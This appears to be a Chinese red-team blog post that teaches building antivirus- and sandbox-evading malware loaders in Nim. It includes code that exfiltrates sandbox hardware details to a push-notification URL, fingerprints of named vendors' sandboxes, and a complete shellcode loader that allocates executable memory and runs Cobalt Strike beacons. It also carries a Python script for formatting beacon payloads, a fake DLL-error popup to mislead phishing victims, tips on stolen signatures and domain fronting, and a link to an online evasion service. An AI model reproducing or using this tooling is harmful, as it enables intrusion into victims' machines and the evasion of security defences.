0x01 获得各沙箱平台的系统信息

  • 利用bark软件接受http请求,回显沙箱系统配置
  • 获得cpu和运行内存,通用沙箱过滤 <2 <2048的机器
  • 微步Win10沙箱cpu为4核,运行内存6143mb,C盘容量136829726720
  • 微步Win7_x64沙箱cpu为4核,运行内存6143mb,C盘容量137331994624
  • 奇安信沙箱cpu为4核,运行内存8190mb,C盘容量322015588352
    • cpu为4核,运行内存8191mb, C盘容量239981297664 (这个大概率是QAX的,不太确定,不是直接收到的请求)
  • VT平台沙箱,会有很多请求,根据代码设置的时间戳区分收到的机器配置
    • 具体都什么配置自行尝试,挺多的,且带有持续性,停不下来,很多人用vt的接口下载下来分析
    • 后面发现大部分的VT沙箱都可以根据通用沙箱过滤规则过滤掉,出现最多的配置是2047和2
  • 360的在线沙箱平台不支持x64程序,所以不构成威胁,360安全卫士或者杀毒的自动上传本地文件到云沙箱功能还没时间测试

下面是使用NIM获得我想要的信息的具体代码,而且必须吐槽一下,NIM很恶心,可以说是ctrl c v的宿敌,资料少的可怜到爆炸

import winlean,HttpClient,times
#auther:https://github.com/sv3nbeast
type
  TPartitionInfo* = tuple[FreeSpace, TotalSpace: FileTime]
  HANDLE* = int
  HWND* = HANDLE
  UINT* = int32
  LPCSTR* = cstring

let randNum = $getTime().toUnix()

proc getFileSize*(file: string): BiggestInt =
  ## Retrieves the size of the specified file.
  var fileData: WIN32_FIND_DATA

  when useWinUnicode:
    var aa = newWideCString(file)
    let hFile = findFirstFileW(aa, fileData)
  else:
    let hFile = findFirstFileA(file, fileData)

  if hFile == INVALID_HANDLE_VALUE:
    raise newException(IOError, $getLastError())

  return fileData.nFileSizeLow

proc getDiskFreeSpaceEx*(lpDirectoryName: cstring, lpFreeBytesAvailableToCaller,
                         lpTotalNumberOfBytes,
                         lpTotalNumberOfFreeBytes: var FileTime): WINBOOL{.
    stdcall, dynlib: "kernel32", importc: "GetDiskFreeSpaceExA".}

#获得磁盘情况
proc getPartitionInfo*(partition: string): TPartitionInfo =
  # Retrieves partition info, for example ``partition`` may be ``"C:\"``
  #freeBytes:已使用字节
  #totalBytes:磁盘总容量
  var freeBytes, totalBytes, totalFreeBytes: FileTime
  discard getDiskFreeSpaceEx(partition, freeBytes, totalBytes,
                               totalFreeBytes)
  # var num = rdFileTime(totalBytes)
  # var client = newHttpClient()
  # var url = "http://api.day.app/VRzPbPFcQCYKtS3wr7Tbgf/disk/" #获得磁盘总容量
  # url.add($randNum)
  # url.add(": ")
  # url.add($num)
  # try:
  #   var err = client.getContent(url)
  # except:
  #   return (freeBytes,totalBytes)

  return (freeBytes,totalBytes)

#获取cpu数量
proc huasidsiuohiuodsaih():int =
  when defined(windows):
    type
      SYSTEM_INFO {.final, pure.} = object
        u1: int32
        dwPageSize: int32
        lpMinimumApplicationAddress: pointer
        lpMaximumApplicationAddress: pointer
        dwActiveProcessorMask: ptr int32
        dwNumberOfProcessors: int32
        dwProcessorType: int32
        dwAllocationGranularity: int32
        wProcessorLevel: int16
        wProcessorRevision: int16

    proc GetSystemInfo(lpSystemInfo: var SYSTEM_INFO) {.stdcall, dynlib: "kernel32", importc: "GetSystemInfo".}

    var
      si: SYSTEM_INFO
    GetSystemInfo(si)

    # var num = si.dwNumberOfProcessors
    # var client = newHttpClient()
    # var url = "http://api.day.app/VRzPbPFcQCYKtS3wr7Tbgf/cpu/"
    # url.add($randNum)
    # url.add(": ")
    # url.add($num)
    # try:
    #     var err = client.getContent(url)
    # except:
    #     return si.dwNumberOfProcessors

    return si.dwNumberOfProcessors


#获取内存大小
proc ihojhhasioadsoiihodas():int64 =
  when defined(windows):
    type
      TMEMORYSTATUSEX {.final, pure.} = object
        dwLength: int32
        dwMemoryLoad: int32
        ullTotalPhys: int64
        ullAvailPhys: int64
        ullTotalPageFile: int64
        ullAvailPageFile: int64
        ullTotalVirtual: int64
        ullAvailVirtual: int64
        ullAvailExtendedVirtual: int64
    proc globalMemoryStatusEx(lpBuffer: var TMEMORYSTATUSEX) {.stdcall, dynlib: "kernel32",importc: "GlobalMemoryStatusEx".}
    var statex: TMEMORYSTATUSEX
    statex.dwLength = sizeof(statex).int32
    globalMemoryStatusEx(statex)

    # var num = statex.ullTotalPhys shr 20
    # var client = newHttpClient()
    # var url = "http://api.day.app/VRzPbPFcQCYKtS3wr7Tbgf/ram/"
    # url.add($randNum)
    # url.add(": ")
    # url.add($num)
    # try:
    #     var err = client.getContent(url)
    # except:
    #     return statex.ullTotalPhys shr 20
    return statex.ullTotalPhys shr 20

when defined(windows):
  when isMainModule:
    var huasidsiuohiuodsaih1 = huasidsiuohiuodsaih() #cpu
    var ihojhhasioadsoiihodas1 = ihojhhasioadsoiihodas() #ram
    var saolkpomsiejskraqjgir1 = rdFileTime(getPartitionInfo(r"C:\")[1]) #disk
    var client = newHttpClient()
    var url = "http://api.day.app/VRzPbPFcQCYKtS3wr7Tbgf/Defender/"
    url.add($huasidsiuohiuodsaih1)
    url.add(":")
    url.add($ihojhhasioadsoiihodas1)
    url.add(":")
    url.add($saolkpomsiejskraqjgir1)
    var jsfile = "https://hectorstatic.baidu.com/cd37ed75a9387c5b.js"
    try:
      var err = client.getContent(url)
    except:
      echo "Success!"
image-20220630122408361

0x02 制作免杀EXE

具体代码

带免沙箱代码的NIM执行shellcode代码,目前VT的沙箱特征没加,有待收集齐全,有空再说吧

import winlean,HttpClient,winim
#auther:https://github.com/sv3nbeast
type
  TPartitionInfo* = tuple[FreeSpace, TotalSpace: winlean.FILETIME]
  HANDLE* = int
  HWND* = HANDLE
  UINT* = int32
  LPCSTR* = cstring

proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32 
  {.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".}


proc getFileSize*(file: string): BiggestInt =
  ## Retrieves the size of the specified file.
  var fileData: winlean.WIN32_FIND_DATA

  when useWinUnicode:
    var aa = newWideCString(file)
    let hFile = findFirstFileW(aa, fileData)
  else:
    let hFile = findFirstFileA(file, fileData)

  if hFile == winlean.INVALID_HANDLE_VALUE:
    raise newException(IOError, $getLastError())

  return fileData.nFileSizeLow

proc getDiskFreeSpaceEx*(lpDirectoryName: cstring, lpFreeBytesAvailableToCaller,
                         lpTotalNumberOfBytes,
                         lpTotalNumberOfFreeBytes: var winlean.FILETIME): winlean.WINBOOL{.
    stdcall, dynlib: "kernel32", importc: "GetDiskFreeSpaceExA".}

#获得磁盘情况
proc getPartitionInfo*(partition: string): TPartitionInfo =
  #freeBytes:已使用字节
  #totalBytes:磁盘总容量
  var freeBytes, totalBytes, totalFreeBytes: winlean.FILETIME
  discard getDiskFreeSpaceEx(partition, freeBytes, totalBytes,
                               totalFreeBytes)

  return (freeBytes,totalBytes)

#获取cpu数量
proc huasidsiuohiuodsaih():int =
  when defined(windows):
    type
      SYSTEM_INFO {.final, pure.} = object
        u1: int32
        dwPageSize: int32
        lpMinimumApplicationAddress: pointer
        lpMaximumApplicationAddress: pointer
        dwActiveProcessorMask: ptr int32
        dwNumberOfProcessors: int32
        dwProcessorType: int32
        dwAllocationGranularity: int32
        wProcessorLevel: int16
        wProcessorRevision: int16

    proc GetSystemInfo(lpSystemInfo: var SYSTEM_INFO) {.stdcall, dynlib: "kernel32", importc: "GetSystemInfo".}

    var
      si: SYSTEM_INFO
    GetSystemInfo(si)

    return si.dwNumberOfProcessors


#获取内存大小
proc ihojhhasioadsoiihodas():int64 =
  when defined(windows):
    type
      TMEMORYSTATUSEX {.final, pure.} = object
        dwLength: int32
        dwMemoryLoad: int32
        ullTotalPhys: int64
        ullAvailPhys: int64
        ullTotalPageFile: int64
        ullAvailPageFile: int64
        ullTotalVirtual: int64
        ullAvailVirtual: int64
        ullAvailExtendedVirtual: int64
    proc globalMemoryStatusEx(lpBuffer: var TMEMORYSTATUSEX) {.stdcall, dynlib: "kernel32",importc: "GlobalMemoryStatusEx".}
    var statex: TMEMORYSTATUSEX
    statex.dwLength = sizeof(statex).int32
    globalMemoryStatusEx(statex)
        
    return statex.ullTotalPhys shr 20

proc innerMain(shellcode: ptr, size: int): void = #shellcode执行主体
    let tProcess = GetCurrentProcessId()
    var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)

    let rPtr = VirtualAllocEx(
        pHandle,
        NULL,
        cast[SIZE_T](size),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )
    copyMem(rPtr, shellcode, size)
    let f = cast[proc(){.nimcall.}](rPtr)
    f()

when defined(windows):
  when isMainModule:
    # MessageBox(0, (LPCWSTR)(L"无法打开文档,因为计算机中丢失 MSVCP140.dll。 尝试重新安装该程序以解决此问题。"), "Error", MB_OK) #部分钓鱼情况开启此功能,让中招者解决电脑玄学问题从而延迟钓鱼邮件发现时间
    var huasidsiuohiuodsaih1 = huasidsiuohiuodsaih() #cpu
    var ihojhhasioadsoiihodas1 = ihojhhasioadsoiihodas() #ram
    var saolkpomsiejskraqjgir1 = rdFileTime(getPartitionInfo(r"C:\")[1]) #disk
    if not (huasidsiuohiuodsaih1 == 4 and ihojhhasioadsoiihodas1 == 6143 and saolkpomsiejskraqjgir1 == 136829726720): #微步win10沙箱
      if not (huasidsiuohiuodsaih1 == 4 and ihojhhasioadsoiihodas1 == 6143 and saolkpomsiejskraqjgir1 == 137331994624): #微步win7沙箱
        if not (huasidsiuohiuodsaih1 == 4 and ihojhhasioadsoiihodas1 == 8190 and saolkpomsiejskraqjgir1 == 322015588352): #qax的win7沙箱
          if huasidsiuohiuodsaih1 > 2 and ihojhhasioadsoiihodas1 > 2046: #通用沙箱
            const sc_length: int = 1000
            #输入shellcode
            var shellcode: seq[byte] = @[byte 0x4D,0x5A,0x41,0x52,0x55,0x48]       #Replace with your own shellcode
            var shellcodePtr = (cast[ptr array[sc_length, byte]](addr shellcode[0]))
            innerMain(shellcodePtr, len(shellcode))

shellcode生成办法

第一种

使用CS生成raw格式的,cs有两个位置可以生成raw包,注意位置,意思大概是shellcode分为无状态和有状态,具体那个是那个记不清了,区别是一个直接上线,一个还要再向CS服务端请求一个stage文件,这个是直接上线的生成方式,生成的raw需要进行二次处理转变为0x00格式的,写好的python代码奉上

image-20220610163219015 image-20220610163257364
#!/usr/bin python3
# -*- coding: utf-8 -*-
#auther:https://github.com/sv3nbeast
import binascii,re


def analysis(bin_path: str, out_txt_path: str,out_file_path_0x: str):
    with open(bin_path, 'rb') as f:
    	# 读取全部行
        all_data = f.readlines()
        
        with open(out_txt_path, 'a+') as new_f:
            for i in all_data:
            	# 二进制(bytes)类型转换成十六进制类型
                hex_str = binascii.b2a_hex(i).decode('unicode_escape')
                # 以str格式逐行写入到文本
                new_f.write(str(hex_str).swapcase())
        print("hex转换完成")

    with open(out_txt_path,'r') as hex:
        with open(out_file_path_0x,'a+') as payload:
            all_data = hex.readlines()
            d = ''
            for i in all_data:
                b = re.findall(r'.{2}',i)
                c = ',0x'.join(b)
                d = d + c
            f = "0x" + d
            payload.write(f)
        print("payload转换完成")

if __name__ == '__main__':
    input_file_path = "./beacon.bin"
    out_file_path = "./hex.txt"
    out_file_path_0x = "./0x00.txt"
    analysis(input_file_path, out_file_path,out_file_path_0x)
第二种

直接获得0x00格式的shellcode,这个生成简单,不过会多个请求cs服务端的url特征

image-20220610164243797 image-20220610164326650

mac的编译命令

nim c -d:mingw -d:release --opt:speed --app:gui --cpu:amd64 sven.nim
--opt的speed意思是速度优化
--opt的size意思是文件大小优化
--app的gui意思是执行exe的时候不出现黑框
--app的console意思是执行exe的时候出现黑框,我用来输出信息调试代码,以后查杀gui严格后可以改用console在用代码关闭黑框,代码已实现

win的编译命令

nim c --opt:size  -d:release  --app:gui sven.nim
命令的意思和mac一样

钓鱼

其中的MessageBox这行代码和钓鱼有关系,也可以自行根据实际情况改,弹个框,引导中招的人解决电脑的玄学问题,延迟钓鱼邮件发现时间

image-20220610172557830

生成文件大小

根据shellcode的区别,最终编译的文件大小如下

  • 800-900kb

  • 300-500kb

0x03 为啥能免杀

  • 主要是用了NIM语言本身的小众,他自带大部分的免杀效果,还能配合mac的交叉编译

  • 同时如果选择生成shellcode方法是第一种(当然不论哪种目前都是可以的),那么cs生成的是stageless的shellcode,这种的shellcode不会再去向服务器发起获取stage的请求,也就是说减少了那个请求cs的checksum8特征url,url大概长这样 http:test.safe.com/Hjla

0x04 继续增加免杀效果

  • 利用SigThief增加数字签名,同样可以增加存活一段时间

  • 对shellcode加密,防止硬编码在NIM,目前代码已实现,是自己也在用的一个版本,不过这种制作方式暂时还不到必须用的地步,先等不加密的被杀了再用

  • 沙箱会对EXE的静态分析中正则匹配URL,所以可以静态加入一些正规域名的url链接配合域前置的正规域名混淆视听,我的域前置根域名是baidu.com,所以我加入的是baidu的链接,当然只是为了干扰那些只是根据沙箱运行结果进行人工判断的摸鱼防守,一点恶趣味

    image-20220611001830134
    image-20220611001914300
  • 毕竟不是专业的,受限代码水平哈

0x05 还有个在线免杀

  • http://124.223.65.106:9000/
  • 使用cs的payload生成器生成raw格式的payload.bin文件上传即可
  • 这个也是用了NIM写的,网页是python启的django,NIM代码和上面的不一样,一些简单项目就用这个,复杂的我自己做对应的定制版,并且没有mac的交叉编译效果要弱一些,代码里有通用沙箱的过滤代码,shellcode加解密代码,最后给exe文件加了360的签名(签名是否添加可自行选择)